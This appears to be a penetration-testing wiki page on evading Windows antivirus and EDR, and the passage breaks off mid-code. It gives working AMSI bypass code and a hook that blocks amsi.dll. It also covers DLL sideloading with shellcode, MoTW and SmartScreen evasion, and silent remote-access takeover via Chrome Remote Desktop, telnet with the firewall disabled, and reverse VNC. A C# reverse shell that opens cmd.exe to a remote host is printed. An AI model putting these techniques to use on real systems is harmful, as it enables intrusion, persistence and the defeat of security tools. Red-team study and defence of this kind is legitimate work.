# Antivirus (AV) Bypass {{#include ../banners/hacktricks-training.md}} **This page was written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** ## Stop Defender - [defendnot](https://github.com/es3n1n/defendnot): A tool to stop Windows Defender from working. - [no-defender](https://github.com/es3n1n/no-defender): A tool to stop Windows Defender from working faking another AV. - [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md) ## **AV Evasion Methodology** Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis. ### **Static detection** Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection: - **Encryption** If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory. - **Obfuscation** Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate. - **Custom tooling** If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort. > [!TIP] > A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary. I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion. ### **Dynamic analysis** Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes. - **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented. - **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox. - **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit. It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.

source: https://youtu.be/StSLxFbVz0M?t=1439

Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes

Red Team VX Discord #malware-dev channel

As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something: For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS. The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve. > [!TIP] > When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result. ## EXEs vs DLLs Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course). As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

Now we'll show some tricks you can use with DLL files to be much more stealthier. ## DLL Sideloading & Proxying **DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script: ```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck } ``` This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load. I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily. Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**. **DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload. I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/) These are the steps I followed: ``` 1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker) 2. Generate some shellcode (I used Havoc C2) 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ``` These are the results:
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
> [!TIP] > I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth. ### Abusing Forwarded Exports (ForwardSideLoading) Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will: - Load `TargetDll` if not already loaded - Resolve `TargetFunc` from it Key behaviors to understand: - If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32). - If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution. This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain. Example observed on Windows 11: ``` keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface ``` `NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order. PoC (copy-paste): 1) Copy the signed system DLL to a writable folder ``` copy C:\Windows\System32\keyiso.dll C:\test\ ``` 2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain. ```c // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c #include BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){ if (reason == DLL_PROCESS_ATTACH){ HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);} } return TRUE; } ``` 3) Trigger the forward with a signed LOLBin: ``` rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface ``` Observed behavior: - rundll32 (signed) loads the side-by-side `keyiso.dll` (signed) - While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface` - The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain` - If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run Hunting tips: - Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`. - You can enumerate forwarded exports with tooling such as: ``` dumpbin /exports C:\Windows\System32\keyiso.dll # forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface ``` - See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt Detection/defense ideas: - Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory - Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths - Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories ## [**Freeze**](https://github.com/optiv/Freeze) `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods` You can use Freeze to load and execute your shellcode in a stealthy manner. ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. 2. ./Freeze -I demon.bin -encrypt -O demon.exe 3. Profit, no alerts from defender ```
> [!TIP] > Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques. ## AMSI (Anti-Malware Scan Interface) AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility. The AMSI feature is integrated into these components of Windows. - User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) - PowerShell (scripts, interactive use, and dynamic code evaluation) - Windows Script Host (wscript.exe and cscript.exe) - JavaScript and VBScript - Office VBA macros It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated. Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe We didn't drop any file to disk, but still got caught in-memory because of AMSI. Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI. There are a couple of ways to get around AMSI: - **Obfuscation** Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection. However, AMSI has the capability of unobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged. - **AMSI Bypass** Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe, wscript.exe, etc.) process, it's possible to tamper with it easily even running as an unprivileged user. Due to this flaw in the implementation of AMSI, researchers have found multiple ways to evade AMSI scanning. **Forcing an Error** Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage. ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` All it took was one line of powershell code to render AMSI unusable for the current powershell process. This line has of course been flagged by AMSI itself, so some modification is needed in order to use this technique. Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). ```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join '' $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300 $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e') $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e') $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase)) $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected. **Memory Patching** This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result. > [!TIP] > Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation. There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them. ### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook) AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process. Implementation outline (x64 C/C++ pseudocode): ```c #include #include typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE); static pLdrLoadDll realLdrLoadDll; NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){ if (module && module->Buffer){ UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll"); if (RtlEqualUnicodeString(module, &amsi, TRUE)){ // Pretend the DLL cannot be found → AMSI never initialises in this process return STATUS_DLL_NOT_FOUND; // 0xC0000135 } } return realLdrLoadDll(path, flags, module, handle); } void InstallHook(){ HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll"); // Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll // e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk } ``` Notes - Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI). - Pair with feeding scripts over stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) to avoid long command‑line artefacts. - Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`). This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI. **Remove the detected signature** You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory. **AV/EDR products that uses AMSI** You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. **Use Powershell version 2** If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: ```bash powershell.exe -version 2 ``` ## PS Logging PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a **problem for attackers who want to evade detection**. To bypass PowerShell logging, you can use the following techniques: - **Disable PowerShell Transcription and Module Logging**: You can use a tool such as [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) for this purpose. - **Use Powershell version 2**: If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: `powershell.exe -version 2` - **Use an Unmanaged Powershell Session**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) to spawn a powershell withuot defenses (this is what `powerpick` from Cobal Strike uses). ## Obfuscation > [!TIP] > Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden. ### Deobfuscating ConfuserEx-Protected .NET Binaries When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes. The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy. 1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly: ```bash # https://github.com/wwh1004/AntiTamperKiller python AntiTamperKiller.py Confused.exe Confused.clean.exe ``` Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker. 2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot). ```bash de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ``` Flags: • `-p crx` – select the ConfuserEx 2 profile • de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings. 3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**: ```bash ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe ``` After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …). 4. Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload. Often the malware stores it as a TLV-encoded byte array initialised inside `.byte_0`. The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation. > 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples. #### One-liner ```bash autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially ``` --- - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation]() and tamper-proofing. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler. - [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys - [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables. - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them ## SmartScreen & MoTW You may have seen this screen when downloading some executables from the internet and executing them. Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). **MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.

Checking the Zone.Identifier ADS for a file downloaded from the internet.

> [!TIP] > It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. Example usage: ```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o + o + + o + + o + + + o + + o -_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' + o o + o + o o + o + o + o ~ Mariusz Banach / mgeeky o o ~ + ~ o + o + + [.] Packaging input file to output .iso (iso)... Burning file onto ISO: Adding file: /TotallyLegitApp.exe [+] Generated file written to (size: 3420160): container.iso ``` Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
## ETW Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **log events**. However, it can also be used by security products to monitor and detect malicious activities. Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process. You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. ## C# Assembly Reflection Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV. Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process. Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so: - **Fork\&Run** It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**.
- **Inline** It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash.
> [!TIP] > If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). ## Using Other Programming Languages As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**. By allowing access to the Interpreter Binaries and the environment on the SMB share you can **execute arbitrary code in these languages within memory** of the compromised machine. The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful. ## TokenStomping Token stomping is a technique that allows an attacker to **manipulate the access token or a security prouct like an EDR or AV**, allowing them to reduce it privileges so the process won't die but it won't have permissions to check for malicious activities. To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes. - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) ## Using Trusted Software ### Chrome Remote Desktop As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), it's easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence: 1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file. 2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn` 3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue. 4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI). ## Advanced Evasion Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments. Every environment you go against will have their own strengths and weaknesses. I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques. {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth. {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 {{#endref}} ## **Old Techniques** ### **Check which parts Defender finds as malicious** You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\ Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Telnet Server** Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` Make it **start** when the system is started and **run** it now: ```bash sc config TlntSVR start= auto obj= localsystem ``` **Change telnet port** (stealth) and disable firewall: ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off ``` ### UltraVNC Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup) **ON THE HOST**: Execute _**winvnc.exe**_ and configure the server: - Enable the option _Disable TrayIcon_ - Set a password in _VNC Password_ - Set a password in _View-Only Password_ Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim** #### **Reverse connection** The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect ::5900` **WARNING:** To maintain stealth you must not do a few things - Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc` - Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open - Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png) ### GreatSCT Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) ``` git clone https://github.com/GreatSCT/GreatSCT.git cd GreatSCT/setup/ ./setup.sh cd .. ./GreatSCT.py ``` Inside GreatSCT: ``` use 1 list #Listing available payloads use 9 #rev_tcp.py set lhost 10.10.14.0 sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` **Current defender will terminate the process very fast.** ### Compiling our own reverse shell https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 #### First C# Revershell Compile it with: ``` c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt ``` Use it with: ``` back.exe ``` ```csharp // From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Linq; using System.Net; using System.Net.Sockets; namespace ConnectBack { public class Program { static StreamWriter streamWriter; public static void Main(string[] args) { using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1]))) { using(Stream stream = client.GetStream()) { using(StreamReader rdr = new StreamReader(stream)) { streamWriter = new StreamWriter(stream); StringBuilder strInput = new StringBuilder(); Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); //strInput.Append("\n"); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if 